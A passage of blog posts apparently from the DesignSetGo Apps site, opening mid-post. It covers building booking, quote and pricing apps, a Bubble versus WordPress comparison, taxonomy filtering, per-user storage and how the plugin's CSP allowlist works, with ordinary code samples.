> Build a booking app. Show the next 10 weekday availability slots from a hardcoded list in a constants file (I’ll edit it weekly). Slot picker, then a form for the booker’s name, email, and one-sentence project description. On submit, call dsgo.email.send with the booking details to my address. Show a thank-you screen with the slot they picked.

Bundle. Manifest with `permissions.send: ["email"]`. Deploy. Twenty minutes.

What I gain over Calendly: the booker stays on my domain, my brand, my consent text. The email captured is mine; it goes to my CRM (in my case a private WordPress CPT for leads). There is no monthly subscription. There is no extra account for the booker to know I exist on.

What I give up: real calendar sync. The hardcoded list works because I update it weekly. If I were doing 5 bookings a week instead of a few a month, I would either write a Connector for Google Calendar or use Calendly. For the volume I have, manual is fine.

#### App 2: A quote calculator

A common consulting first-call: “what would this cost?” The honest answer is “it depends,” but the half-honest pre-call answer is a range based on three or four inputs. A quote calculator on the marketing site lets the visitor self-qualify before booking.

For me, the inputs are: project type (audit, implementation, ongoing), team size (1-2, 3-10, 10+), and timeline (weeks, months, quarters). The output is a range and a recommendation.

The prompt:

> Build a quote calculator. Three inputs: project type (audit, implementation, ongoing), team size (1-2, 3-10, 10+), timeline (weeks, months, quarters). Show a price range based on a lookup table (I’ll edit the JS constants). Below the range, a recommendation paragraph based on the inputs (“for a small team doing an audit, I usually recommend…”). Bottom CTA: “Book a call to discuss” linking to /book.

Bundle. Manifest with no special permissions (the math is local; no bridge needed). Deploy. Fifteen minutes.

What I gain: the visitor self-qualifies. The unrealistic leads (a 50-person team wanting an audit for $500) bounce on the calculator instead of on the call. The realistic leads click through to the booker pre-warmed.

What I give up: the lead-gen value of “submit your info to see the price” forms some sites use. I do not want that anyway; it filters out the people I want to talk to (the ones doing research before buying) and lets through the people I do not want to talk to (the ones who will give a fake email to bypass).

#### App 3: A “what I cost” pricing page

The third surface, the one I resisted longest, is a real pricing page. Not a “contact for pricing” page. A page with numbers.

For consulting this is controversial. The standard advice is “do not publish your prices because every project is custom.” That advice is right for very large engagements with custom scopes. It is wrong for the small-to-medium engagements that make up most of consulting work.

For me, the right shape was: three packaged offerings (one-day workshop, two-week implementation, ongoing retainer), each with a published price, each with a “Book this” CTA that goes to the booker pre-selected on the corresponding slot type. Custom engagements still happen, but they start from the published anchor.

The page itself is a DesignSetGo App in inline mode (so the page has a real URL with SEO and the served HTML includes the pricing in plain text, not just JavaScript-rendered). The card layout, the “popular” highlight, the in-page FAQ are all in the app’s bundle. There is no PHP, no shortcode wrangling, no theme template override.

The prompt:

> Build a pricing page app, inline mode for SEO. Three pricing cards horizontal on desktop, stacked on mobile. Each card: title, price, three-line description, four-bullet feature list, CTA button. Middle card is highlighted as recommended. Below the cards, a four-question FAQ. Style it to look like a clean consulting site, generous whitespace, sans-serif.

The DesignSetGo Apps repo already has a [pricing-page example bundle](/examples/); I started from that and customized.

What I gain: the page is part of the marketing site, ranks on Google for “[my name] pricing” and “[my company] consulting cost,” and pre-qualifies the visitor before the booker. The card layout is exactly what I want; no Webflow editor, no Squarespace template fight.

What I give up: the conversion optimization of the dedicated SaaS pricing tools (Outseta, Paddle’s pricing widget). For my volume, the conversion improvement those would offer is not worth the SaaS subscription and the third-party domain.

#### What this costs in total

Three apps. About 60 minutes of building time across all three (and another 60 minutes of iteration after I saw them live). One DesignSetGo Apps Pro license for `dsgo.email.send()` (~$99/yr).

The SaaS stack the three apps replace:

- Calendly Basic: $144/yr

- A typeform-style quote tool (Outgrow, Typeform, or similar): ~$300/yr

- A pricing-page service (Outseta, Paddle’s pricing component, or similar): ~$300+/yr

Total: ~$750/yr in SaaS subscriptions, three external services to maintain, three pieces of my conversion funnel running on someone else’s domain.

Versus: ~$99/yr for DesignSetGo Apps Pro, zero external services, everything on my domain.

The cost-savings argument is not the most interesting one. The conversion argument is. Every external SaaS subscription is a third-party domain showing up in tooltips, an extra brand the visitor encounters, a redirect they have to trust. The three apps on my own domain feel like one continuous experience the visitor stays inside. The conversion lift is small per-app but compounds.

#### What I am not doing

A few things I considered and decided against, for honesty:

**A live chat widget.** Intercom-style chat. I do not want to manage a live chat queue and I do not want a chatbot trying to schedule meetings on my behalf. The booker plus the calculator covers most of what live chat is asking.

**A testimonial carousel.** I have client logos and a few quotes on the home page. A live “fetch fresh testimonials from a database” widget is more infrastructure than the testimonials justify. Static HTML is fine.

**A blog subscription widget.** I have an RSS feed and a “Subscribe via email” link that goes to a separate ESP. A custom widget here would be its own app and worth building, but it would be the fourth on the priority list, not the first three.

#### The shorter version

Booker, quote calculator, pricing page. Three apps, one afternoon each, on your own site, in your own brand. Replaces three SaaS subscriptions, gives you back the conversion control.

If you build these for your own consulting site, send me a link. I want to see what shape they take in other people’s hands.

#### Further reading

- [Build a quote calculator your client can drop into a sales page](/blog/build-a-quote-calculator/): the agency-facing version, walked end-to-end.

- [The pricing page is a DSGo App](/blog/the-pricing-page-is-a-dsgo-app/): the inline-mode pricing-page tutorial.

- [examples/pricing-page](/examples/) and [examples/contact](/examples/): the starter bundles I built from.

### Bubble vs WordPress + DesignSetGo for the indie founder

URL: https://designsetgo.dev/blog/bubble-vs-wordpress-designsetgo/
Published: 2026-06-12 · Nealey

Bubble is the most successful no-code app builder in the world. It built a billion-dollar valuation by being legitimately good at one thing: letting non-developers build full web applications without writing code. There is a long list of indie SaaS founders who shipped their MVP on Bubble and would not have shipped at all otherwise.

If your product is fundamentally a CRUD web application (signups, dashboard, billing, support inbox), Bubble is a real option and this post is not going to argue you out of it.

For the increasing number of indie founders who want a *content-driven* product with a vibe-coded app on top (a landing page that converts, a blog that drives organic traffic, a paywall, a courseware section, *and* a custom interactive tool), Bubble starts to feel like the wrong shape. The CMS is rudimentary. The SEO is a known weakness. The escape hatch when you outgrow it is rough.

WordPress + DesignSetGo Apps is the alternative shape. CMS-first, with vibe-coding on top of it.

This post is the honest comparison for the founder deciding between them in 2026.

#### The two stacks in one paragraph each

**Bubble.** A drag-and-drop application builder. You design the UI in a visual editor, model your data in their database, write logic in their workflow system, and ship to a Bubble-hosted URL. Free tier for development; paid tiers start at $29/mo for production sites. The entire app lives in Bubble’s ecosystem: their hosting, their database, their auth, their workflows.

**WordPress + DesignSetGo Apps.** WordPress for the CMS, the auth, the user accounts, the content, the SEO, the commerce (via WooCommerce), and the admin UI. DesignSetGo Apps for the vibe-coded interactive surfaces: calculators, configurators, dashboards, custom tools, anything Bubble would have been the right shape for. Hosting is wherever WordPress is hosted (Kinsta, WP Engine, GoDaddy, self-hosted). Free for the runtime; Pro tier (~$99/yr) for the AI-generation harness.

The structural difference: Bubble owns the *whole stack*. WordPress + DesignSetGo composes *layers you can swap*.

#### Where Bubble wins

I want to be specific about this because the comparison can read like a hit piece otherwise. Bubble does several things better.

**Zero-infrastructure setup.** You sign up, you start building. There is no hosting decision, no database to provision, no theme to pick. The first hour of “I have an idea” to “I have a working signup form” is faster on Bubble.

**Visual-first UI builder.** If you do not want to learn even basic HTML/CSS/JS, Bubble has a true drag-and-drop editor. You can build a usable app without ever opening a text file. WordPress’s block editor is content-first, not application-first; the equivalent app-building affordance for non-coders on WordPress is “ask Claude to build a DesignSetGo App,” which still requires writing a prompt.

**Database-as-app-state.** Bubble’s database is built around app state: things like “current user’s shopping cart,” “draft posts I haven’t published,” “open support tickets.” WordPress’s database is built around content. You can model app state in WordPress (custom post types, user meta, app storage), but it is more work to get right than Bubble’s affordance.

**Vendor coherence.** Bubble’s auth, database, hosting, workflows, and editor are all built by one team, designed together. WordPress + DesignSetGo is a composition of WordPress (a project), DesignSetGo Apps (a plugin), your theme (a third project), your host (a fourth), and however many plugins. The composition works, but the seams are visible.

For an indie founder building a pure SaaS app with no significant content layer, those four wins are decisive. Pick Bubble and ship.

#### Where Bubble loses

Two structural weaknesses and one philosophical one.

**SEO.** Bubble apps are JavaScript-rendered. Google indexes them, but the rendering pipeline is slower, the meta-tag control is more limited, and the structural HTML is harder to control. Most successful Bubble apps that need organic traffic eventually run a separate marketing site (often on Webflow or WordPress) and use Bubble only for the logged-in app surface. That is a real maintenance burden and a real cost.

WordPress is the opposite: SEO has been the dominant use case for 20 years. Yoast, RankMath, schema.org markup, sitemap generation, page-speed tooling are all mature. A DesignSetGo App in [inline mode](/blog/iframe-vs-inline-picking-the-right-isolation-mode/) ships server-rendered HTML with proper meta tags, sitemap inclusion, and theme-wrapped chrome. The app is SEO-indexable the same way a normal page is.

**Data ownership and exit cost.** Your Bubble app’s data lives in Bubble’s database. Exporting it is possible but the *application* (the workflows, the UI, the database schema) is locked to Bubble. Moving off Bubble means rebuilding the app somewhere else. The lock-in is gradual and durable.

Your WordPress site’s data lives in a WordPress database you can dump with `wp db export`. Your DesignSetGo Apps are static bundles in your uploads directory you can `tar` and walk away with. The bridge spec is public; the runtime is GPL/MIT. Switching to a different sandboxed app runtime on a future WordPress site is a re-deploy, not a rewrite.

**Content modeling.** Bubble’s CMS-style features (the “Pages” and “Templates” surface) are a thin afterthought on the app model. If your product needs blog posts, courses, knowledge base articles, marketing pages with SEO, FAQ sections, you end up running a separate WordPress alongside the Bubble app. Two stacks, two deploys, two auth systems.

WordPress is the CMS. Posts, pages, custom post types, categories, tags, taxonomies, SEO plugins, are all native. A DesignSetGo App on top of WordPress reads from that CMS through the bridge. Your interactive surface knows about your blog, your courses, your products. The content is one source of truth.

#### Three founder scenarios

**Scenario 1: A SaaS founder shipping a CRUD tool.** Bubble. The app is the entire experience; SEO and content do not matter; the database is app state. The wedge case for Bubble’s strengths.

**Scenario 2: A creator selling courses with a custom companion tool.** WordPress + DesignSetGo. The course content is the lead generator; SEO and content marketing are how the audience finds it; the companion tool is a vibe-coded DesignSetGo App on the side. The wedge case for the composed stack.

**Scenario 3: An e-commerce indie SaaS** (a product catalog with a configurator, a checkout, and a paywall). WordPress + WooCommerce + DesignSetGo. WooCommerce solves the catalog/checkout/paywall; DesignSetGo’s [WooCommerce product configurator tutorial](/blog/build-a-woocommerce-product-configurator/) covers the configurator. Bubble can do this, but you would be reinventing WooCommerce’s twelve years of edge-case handling.

The decision criterion: **how much of your product is “the app” vs “the content layer the app sits inside”?**

If the answer is “90% app, 10% content,” Bubble.
If the answer is “the content matters and there is also an app,” WordPress + DesignSetGo.

#### The shorter version

Bubble is right for pure SaaS where content does not matter. WordPress + DesignSetGo is right for content-driven products with a vibe-coded layer on top.

The two are not competitors in the same exact space. They are competitors at the *founder’s first decision*. Pick the shape that matches what you are actually building.

#### Further reading

- [DesignSetGo vs headless WordPress](/blog/dsgo-vs-headless-wordpress/): the comparison for the “I want headless but with vibe-coding” crowd.

- [DesignSetGo vs Bolt / Lovable / v0 / Claude Artifacts](/blog/dsgo-vs-bolt-lovable-v0/): the comparison for the AI-builder-first crowd.

- [WordPress is the backend your vibe-coded app forgot it needed](/blog/wordpress-is-the-backend-your-vibe-coded-app-forgot-it-needed/): the broader argument for why WordPress is the right backend for vibe-coded products.

### Reading your WordPress taxonomy from an app: a recipe-filter walkthrough

URL: https://designsetgo.dev/blog/reading-wordpress-taxonomy-from-an-app/
Published: 2026-06-11 · Nealey

[Saturday’s post](/blog/recipe-filter-that-uses-your-recipes/) shipped a recipe-filter app that reads from your posts and your tags. That version hardcoded the top 12 tags as a chip row. It worked.

It also did something subtly wrong that almost every “small filter widget” gets wrong: it treated the tag list as a snapshot. If the food blogger publishes a recipe next week with a brand-new “kimchi” tag, the filter never picks it up. The tag list was frozen on the day the app shipped.

A grown-up filter reads the *current* taxonomy from the site, every time the page loads. If the writer published “kimchi” yesterday, today’s filter has a kimchi chip. No re-deploys, no manual updates.

This post walks the taxonomy surface in the bridge, with the recipe filter as the running example. Same wedge as Saturday; deeper bridge tour.

#### What “taxonomy” means in WordPress

If you came from React + Vercel, taxonomy is roughly “the system of tags and categories.” It is a generic primitive: any post type can have any number of taxonomies attached, each of which is a hierarchy of terms.

Default WordPress ships with two taxonomies on the `post` type:

- `category` (hierarchical, exclusive)

- `post_tag` (flat, multiple)

A real site has more. WooCommerce attaches `product_cat` and `product_tag` to the `product` type. LearnDash attaches `ld_course_category`. An IDX plugin attaches `property_type`, `location`, `bedrooms`. A food blog might register an `ingredient` and `meal_type` taxonomy via Custom Post Type UI.

Every one of those is queryable through the same bridge surface.

#### The two methods that matter

```
// List terms in a taxonomy:
const tags = await dsgo.taxonomy.terms({
  taxonomy: 'post_tag',
  orderby: 'count',
  order: 'desc',
  per_page: 20,
});
// [{ id, name, slug, count, taxonomy }, ...]

// Get a single term by slug:
const term = await dsgo.taxonomy.term({
  taxonomy: 'ingredient',
  slug: 'gluten-free',
});
// { id, name, slug, count, taxonomy } or null
```

For the recipe filter, `taxonomy.terms` is the workhorse. You call it once on page load with the right taxonomy name, and you have the live list.

#### The corrected recipe filter

Here is the version from Saturday’s post, with the hardcoded chips replaced by a live read:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

// Read recent recipes.
const recipes = await dsgo.posts.list({
  category: 'recipe',
  per_page: 100,
  _embed: true,
});

// Read tags by usage (live, not hardcoded).
const tags = await dsgo.taxonomy.terms({
  taxonomy: 'post_tag',
  orderby: 'count',
  order: 'desc',
  per_page: 12,
});

renderChips(tags);
renderCards(recipes);
```

The next time the writer publishes a recipe tagged “kimchi,” next morning’s filter has a kimchi chip. The chip appears because the term’s `count` went from 0 to 1, and the orderby surfaces it once it edges into the top 12.

For a filter that uses a custom taxonomy instead of generic tags (the better long-term shape for a food blog), the change is one string:

```
const ingredients = await dsgo.taxonomy.terms({
  taxonomy: 'ingredient',  // your custom taxonomy slug
  orderby: 'count',
  order: 'desc',
  per_page: 20,
});
```

The bridge does not care which taxonomy. The site’s CPT UI plugin or theme is what registered it. The bridge enumerates whatever is registered with `show_in_rest: true`.

#### How filtering happens

The chips are just the UI. The filter happens on the next bridge call.

When the user clicks a chip, you re-query posts with that term as a filter:

```
async function applyFilter(tagSlug: string) {
  const filtered = await dsgo.posts.list({
    category: 'recipe',
    tags: [tagSlug],     // for post_tag
    per_page: 100,
  });
  renderCards(filtered);
}
```

For a custom taxonomy:

```
async function applyIngredientFilter(slug: string) {
  const filtered = await dsgo.posts.list({
    category: 'recipe',
    taxonomy: { ingredient: [slug] },
    per_page: 100,
  });
  renderCards(filtered);
}
```

Multi-term filtering (recipes that have *both* chicken *and* lemon) uses an array:

```
const filtered = await dsgo.posts.list({
  category: 'recipe',
  taxonomy: { ingredient: ['chicken', 'lemon'] },
  per_page: 100,
});
```

The default boolean is AND. For OR, pass `relation: 'OR'`:

```
const filtered = await dsgo.posts.list({
  category: 'recipe',
  taxonomy: { ingredient: ['chicken', 'tofu'], relation: 'OR' },
  per_page: 100,
});
```

#### The manifest

Two permissions:

```
{
  "permissions": {
    "read": ["posts", "taxonomy"],
    "write": []
  }
}
```

`posts` to list recipes. `taxonomy` to read term lists. Nothing else. The install dialog will say:

> This app wants to read: posts (including: recipes), taxonomies.

If the site has a `ingredient` taxonomy registered with `show_in_rest: true`, it is included in the “taxonomies” line automatically (the bridge enumerates them at install time, [as covered Friday](/blog/the-week-designsetgo-started-reading-your-cpts/)).

#### Two patterns the recipe filter does not need but other apps do

**Hierarchical taxonomies.** Categories are hierarchical (Asia > East Asia > Korea). If you want to render a tree, ask for the full list and reconstruct the parent-child structure from the `parent` field on each term:

```
const cats = await dsgo.taxonomy.terms({ taxonomy: 'category', per_page: 100 });
// cats[i].parent is the parent term ID; 0 if top-level.
const tree = buildTree(cats);
```

The bridge does not currently return a pre-built tree (because what shape you want depends on whether you are rendering a dropdown, a tree, or a breadcrumb). The flat list with parent IDs is enough to build any of those.

**Counts per filter intersection.** “How many recipes have chicken AND are gluten-free?” requires actually running the query and counting. The bridge does not pre-compute facet counts. For small post collections (under a few hundred), running the query is fine. For larger collections, accept that the chip count is “total recipes with this tag” not “recipes with this tag *intersected with the current filter*.” Faceted search at scale is a separate problem.

#### Where this goes

The taxonomy surface is the wedge for a whole category of apps you can ship in an afternoon:

- A blog category browser that reads your live category list.

- A team-member directory grouped by department (a `department` taxonomy on a `team_member` CPT).

- A product filter by attribute (WooCommerce attributes are taxonomies).

- A course catalog grouped by skill level (a `skill_level` taxonomy on courses).

- A locations browser grouped by region.

All of those are the same pattern: read the taxonomy, render the filter, re-query posts on filter change. The bridge call shape is identical across them. The only thing that changes per app is the post type and the taxonomy name.

#### The shorter version

`dsgo.taxonomy.terms({ taxonomy: '...' })` reads the live taxonomy. `dsgo.posts.list({ taxonomy: { ... } })` filters posts by it. Together they are 90% of what filter UIs need. Stop hardcoding tag lists.

#### Further reading

- [A recipe filter that actually uses your recipes](/blog/recipe-filter-that-uses-your-recipes/): the wedge tutorial with the hardcoded chips.

- [The bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/): includes the “dataset-driven-detail-page” pattern that uses taxonomies.

- [BRIDGE-API.md §taxonomy](/docs/#bridge): the full surface.

### Per-app, per-user storage: what it is, what it is not, and how to model it

URL: https://designsetgo.dev/blog/per-app-per-user-storage/
Published: 2026-06-10 · Nealey

The storage surface in the DesignSetGo bridge is two methods deep. That should make it easy. It also makes it the place new app authors reach for the wrong abstraction first, then have to refactor halfway through.

This post is the model that gets you to the right abstraction on the first try. The two surfaces, the four patterns that cover 90% of real apps, and the one gotcha that catches everyone.

If you are about to write `localStorage.setItem(...)` in a DesignSetGo App, stop and read this first.

#### The two surfaces

```
// Per-app storage. Shared across every visitor to the site for this app.
await dsgo.storage.app.set('feature_flag', true);
const flag = await dsgo.storage.app.get('feature_flag');

// Per-user storage. Tied to the WordPress user looking at the page.
await dsgo.storage.user.set('preferences', { theme: 'dark' });
const prefs = await dsgo.storage.user.get('preferences');
```

Both are server-side. Both persist across browsers, devices, sessions, and cache clears. Both are scoped to your app: another app on the same site cannot read your storage. The runtime guarantees that boundary.

The difference is **who can read what**.

`dsgo.storage.app.*` is one bucket per app per site. Every visitor to the site reads and writes the same values. Use it for app-level configuration, leaderboards, shared counters, anything where the data belongs to the *app*, not the *user*.

`dsgo.storage.user.*` is one bucket per app per site per user. Each WordPress user has their own values. A logged-out visitor cannot use this surface (the call returns `null`). Use it for preferences, drafts, per-user history, anything where the data belongs to the *user*, not the *app*.

#### Why not localStorage

The first thing developers from a React-on-Vercel background reach for is `localStorage`. It is convenient and free.

It is also wrong for almost everything a DesignSetGo App wants to do.

`localStorage` is browser-local. It is gone if the user clears site data, switches browsers, signs in from a phone, or uses a private window. Most apps’ “save the user’s preference” use case wants the preference to survive all of those. `localStorage` will not.

`localStorage` is also not scoped by user. If two people log into the same browser (a household sharing a laptop, a desktop in an agency office), they share the same localStorage. The “this is my draft” data leaks across users in a way the user does not expect.

`dsgo.storage.user.*` solves both. The data is server-side, tied to the WordPress user account, and follows the user across devices. The data is also scoped to your app, so another DesignSetGo App on the same site cannot read it.

The exceptions where `localStorage` is fine: ephemeral UI state that genuinely should not survive a tab close (a wizard’s current step), and data that is genuinely device-local (a “this device is verified” token, if you ever needed one). Those cases are rare. Default to the bridge.

#### The four patterns that cover most apps

##### Pattern 1: app-level configuration

A flag the site owner sets in the app’s admin UI that affects what every visitor sees:

```
// In the admin UI (display.modes: ["admin"]):
if (await dsgo.user.can('manage_options')) {
  await dsgo.storage.app.set('show_promo_banner', true);
}

// In the public-facing surface (display.modes: ["block"]):
const showBanner = await dsgo.storage.app.get('show_promo_banner');
if (showBanner) {
  renderBanner();
}
```

`app.*` is shared across users, so the admin’s toggle affects every visitor.

##### Pattern 2: per-user preferences

A theme toggle, a measurement-unit preference (kg/lb), a “do not show me this tip again” flag:

```
// On preference change:
await dsgo.storage.user.set('preferences', { units: 'kg', theme: 'dark' });

// On load:
const prefs = await dsgo.storage.user.get('preferences') ?? {
  units: 'lb',
  theme: 'light',
};
```

`user.*` follows the user across devices. The fallback handles the logged-out case (where `get` returns `null`).

##### Pattern 3: a leaderboard

App-level data the user *writes to*, not just reads:

```
async function submitScore(score: number) {
  const me = await dsgo.user.current();
  const board = (await dsgo.storage.app.get('leaderboard')) ?? [];
  board.push({ user: me.name, score, at: Date.now() });
  board.sort((a, b) => b.score - a.score).splice(10); // top 10
  await dsgo.storage.app.set('leaderboard', board);
}
```

`app.*` because the leaderboard is shared. There is a subtle race condition here: two users submitting simultaneously can clobber each other. For real leaderboards, use `dsgo.storage.app.update()` (the atomic-update surface), or accept that a leaderboard is best-effort. The [bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/) has a worked version.

##### Pattern 4: per-user drafts

A long form the user is filling out, where you want to survive their browser closing accidentally:

```
// As they type (debounced):
const onChange = debounce(async () => {
  await dsgo.storage.user.set('draft', { text: textarea.value, at: Date.now() });
}, 500);

// On load:
const draft = await dsgo.storage.user.get('draft');
if (draft && Date.now() - draft.at < 7 * 24 * 60 * 60 * 1000) {
  textarea.value = draft.text;
  showRestoreNotice();
}
```

`user.*` because the draft is private to the user. Time-limit the restore so a six-month-old draft does not surprise them.

#### The gotcha that catches everyone

`dsgo.storage.user.*` requires a logged-in user. If the visitor is logged out, every call returns `null` (for `get`) or throws (`for `set`).

Apps that build their entire experience around per-user storage and forget to handle the logged-out case will have a confusing failure mode the first time a guest visitor lands on the page. The set fails, the UI shows the default, the user wonders why nothing they did stuck.

Two paths:

**Require login for the app.** If your app genuinely only works for logged-in users (a member dashboard, an agency client portal), check at the top:

```
const me = await dsgo.user.current();
if (!me) {
  window.location.href = '/wp-login.php?redirect_to=' + encodeURIComponent(location.href);
  return;
}
```

**Degrade gracefully.** If your app works for guests but is better for logged-in users (a recipe filter that remembers favorites, a calculator that saves results), fall back to in-memory state for guests and offer a “log in to save” CTA:

```
const me = await dsgo.user.current();
const memoryStore = new Map();

async function saveFavorite(id) {
  if (me) {
    const favs = (await dsgo.storage.user.get('favorites')) ?? [];
    favs.push(id);
    await dsgo.storage.user.set('favorites', favs);
  } else {
    memoryStore.set(id, true);
    showLoginPrompt();
  }
}
```

Pick the path on day one. Retrofitting the “log in to save” UX after you have shipped the bare per-user storage version is more work than building it up front.

#### What storage is not for

Three things storage is *not* the right answer for:

**Searchable structured data.** If your app needs to query, filter, or sort across many records, you want WordPress posts or a custom post type. Storage is a key-value store; it has no native query layer beyond “get me this key.” A leaderboard of 10 entries is fine. A leaderboard of 10,000 entries belongs in a CPT.

**Files.** Storage holds JSON. For files, use `dsgo.media.upload()` and store the resulting media ID in storage. The file lives in the WordPress media library; storage holds the reference.

**Cross-app data.** Storage is scoped to your app. If you need two DesignSetGo Apps to share data, the right path is WordPress posts (one writes, the other reads via `dsgo.posts.list`), not “ship the same storage key in both.” The runtime enforces the per-app boundary.

#### What storage is great for

The things `localStorage` would be great for if `localStorage` were server-side: user preferences, per-user drafts, per-app counters, leaderboards under 100 entries, “did the user dismiss this banner,” “what wizard step were they on when they closed the tab,” “what color theme have they been using,” “what was their last calculator result so we can show it again.”

Most apps end up using both surfaces. App for things like configuration and shared counters; user for things like preferences and drafts. Once you internalize which is which, the bridge has nothing else to teach you about storage.

#### Further reading

- [BRIDGE-API.md §storage](/docs/#bridge): the full method surface.

- [The bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/): four patterns above are sketched in more depth.

- [Build a member portal scoped to the logged-in user](/blog/build-a-member-portal/): the deep storage example.

### The CSP allowlist, explained: what your app can fetch and why

URL: https://designsetgo.dev/blog/csp-allowlist-explained/
Published: 2026-06-09 · Nealey

The first time you ship a DesignSetGo App that tries to load a font from Google Fonts or fetch from a third-party API, something specific will happen.

You will open the browser console and see:

```
Refused to connect to 'https://api.example.com/v1/things'
because it violates the following Content Security Policy directive:
"connect-src 'self' https://your-site.example".
```

That is the runtime working correctly. The app you shipped did not declare in its manifest that it would talk to `api.example.com`. The runtime read the manifest, generated a CSP header that allowlisted only what the manifest declared, and the browser blocked the call.

This post is the model. What CSP is, what the runtime does with it, and how to declare what your app legitimately needs without writing a CSP header by hand.

The audience is the developer who hits the console error for the first time and wonders if they did something wrong. They did not. The system is working.

#### What CSP is, in two paragraphs

Content Security Policy is a browser-enforced header that tells the browser which origins your page is allowed to load resources from. It is a defense in depth against cross-site scripting, third-party tracking injection, and code that the page author did not intend to run. A page with a strict CSP can declare “scripts only from this origin” and “fetch only from these specific APIs,” and the browser refuses anything outside that list.

Without CSP, a vulnerability in a single dependency can exfiltrate data to an attacker-controlled server. With CSP, the attacker can write the code but the browser refuses to send the request. CSP turns “any compromised dependency steals your data” into “the compromised dependency throws a console error and the data stays put.”

For DesignSetGo Apps, CSP is the *enforcement* mechanism for the permission manifest. The manifest is a declaration of intent. The CSP header is what makes the declaration binding.

#### What the runtime generates

When a DesignSetGo App loads, the runtime serves it inside an iframe with a CSP header derived from the manifest’s `runtime.external_origins` array. The header looks roughly like this:

```
Content-Security-Policy:
  default-src 'self';
  connect-src 'self' https://api.example.com https://fonts.googleapis.com;
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data: https://images.example.com;
  script-src 'self';
  style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
  frame-ancestors https://your-wordpress-site.example;
```

The exact directives vary by app, but the *shape* is always the same. `'self'` is the iframe’s origin (the app’s own bundle). Everything else is what the manifest declared. The browser then refuses to load anything not in the list.

You do not write the header. You write the manifest. The runtime translates.

#### How you declare external origins

In `dsgo-app.json`:

```
{
  "runtime": {
    "sandbox": "strict",
    "external_origins": [
      "https://api.example.com",
      "https://fonts.googleapis.com",
      "https://fonts.gstatic.com"
    ]
  }
}
```

The list is per-origin, not per-URL. Listing `https://api.example.com` allows fetches to any path on that origin. The runtime does not let you allowlist `https://api.example.com/v1/safe/*` and block `https://api.example.com/v2/dangerous/*`; the origin is the granularity browsers enforce at the network layer.

At install time, the runtime takes that list and turns it into the install dialog’s “external connections” section:

> This app will connect to:
>
>
>
>
> - api.example.com
>
> - fonts.googleapis.com
>
> - fonts.gstatic.com

The site owner sees each origin in plain English and approves (or denies) at install. If they deny one, the manifest is rejected; install fails. If they approve, the CSP includes those origins; the app can fetch.

#### The three classes of network call

In a DesignSetGo App, every outbound network call falls into one of three classes. Knowing which is which is the entire model.

**Class 1: same-origin (`'self'`).** Calls to your own bundle’s origin. Loading your own CSS, your own images, your own JavaScript. Always allowed. You do not declare anything for this.

**Class 2: declared external.** Calls to origins you listed in `runtime.external_origins`. Google Fonts, third-party APIs, image CDNs, embedded widgets you genuinely depend on. The user sees these at install time and approves them. The browser allows them.

**Class 3: blocked.** Calls to any origin not in either of the above. The browser refuses them. The console gets a CSP violation log. Your fetch’s `.catch()` block runs.

If you find your app trying to talk to an origin it should not be talking to, the runtime is doing exactly what it should. Either add the origin to the manifest (if it is legitimate) or remove the call (if your agent invented it).

#### The bridge is not a network call

This is the surprise. Most apps’ “I need data from the WordPress site” use case is *not* an external origin. It is a `postMessage` to the parent window, which is the bridge.

When your app calls `dsgo.posts.list()`, no network request leaves the iframe. The call goes to the parent window via `postMessage`, the parent talks to WordPress through internal APIs, the result comes back via `postMessage`. No `fetch`, no CSP impact.

This is why most apps need *no* external origins declared. They use the bridge for site data and have nothing to fetch externally. The empty array is the right default:

```
"runtime": { "sandbox": "strict", "external_origins": [] }
```

An app with `external_origins: []` is the cleanest install dialog: “This app makes no external connections.” It is also the most common shape, because most apps’ data needs are satisfied by the bridge.

If your app does need an external origin, declare it explicitly. Do not stuff `*` in there to make CSP errors go away. The dialog will say “this app will connect to: anywhere” and your users will, correctly, decline.

#### What the agent needs to know

If you are working with Claude Code, Cursor, or another agent on a DesignSetGo App, the brief is:

> “Before writing any `fetch` to a non-local origin, add the origin to `runtime.external_origins` in `dsgo-app.json`. If you cannot tell whether the origin is needed, do not add it. The bridge handles WordPress data with no network call; prefer it.”

The starter’s `CLAUDE.md` ships with this in the agent-context section. It is one of the five facts the [five things Claude Code should know](/blog/five-things-claude-code-should-know-about-your-wordpress-site/) post calls out.

The pattern the agent tends to get wrong on the first prompt: it writes the fetch first, then waits for the CSP error to remind it to update the manifest. The brief reverses that order. Manifest first; fetch second; verify in the console third.

#### What changes between dev and production

Nothing. The CSP is the same in local development (with `npx designsetgo apps dev`) as it is in deployed production. This is intentional: the most common production-only surprise (the app worked locally and broke in production) is exactly what running the same CSP in both environments prevents.

If you see a CSP error in dev, you will see the same error in production. Fix it in dev, and production is fine.

#### Three common patterns

**Loading a Google Font.** Add `https://fonts.googleapis.com` and `https://fonts.gstatic.com` to `external_origins`. The first serves the CSS; the second serves the font files. Both are required.

**Calling an analytics API from the app.** Most analytics calls are fine via the bridge (`dsgo.telemetry.event(...)` if you have Pro), but if you need to call your own analytics directly, declare its origin. Note: a bare third-party analytics SDK like GA4 or Mixpanel is often more invasive than you want sandboxed apps to be. Consider [telemetry-that-respects-the-user](/blog/telemetry-that-respects-the-user/) for the alternative.

**Embedding a YouTube video.** Add `https://www.youtube.com` and `https://www.youtube-nocookie.com` to `external_origins`. Use the iframe-embed URL with the `noembed` parameter. The video plays inside your app’s iframe, which is inside the runtime’s iframe, which is inside the WordPress page. CSP applies at each layer.

#### The shorter version

The CSP is the enforcement layer for the manifest. The manifest is the declaration of intent. The two together turn “any compromised dependency steals your data” into “any compromised dependency throws a console error and stops.”

Declare what you need. Do not declare what you do not need. The bridge handles WordPress data and is not an external origin.

If you see a CSP error, the system is working. Either add the origin or remove the call.

#### Further reading

- [Why we run apps in a sandbox](/blog/why-we-run-apps-in-a-sandbox/): the original architecture post.

- [Permission buckets: the install dialog that doesn’t lie](/blog/permission-buckets-the-install-dialog-that-doesnt-lie/): how `external_origins` shows up in the install UI.

- [MDN CSP reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP): the underlying browser API.

### The plugin pile-on: five plugins one DesignSetGo app can replace

URL: https://designsetgo.dev/blog/the-plugin-pile-on-five-plugins-one-app/
Published: 2026-06-08 · Nealey

A small WordPress site with five years of organic accumulation looks like this in the plugin list:

- A form plugin.

- A calculator plugin (because the form plugin’s math was annoying).

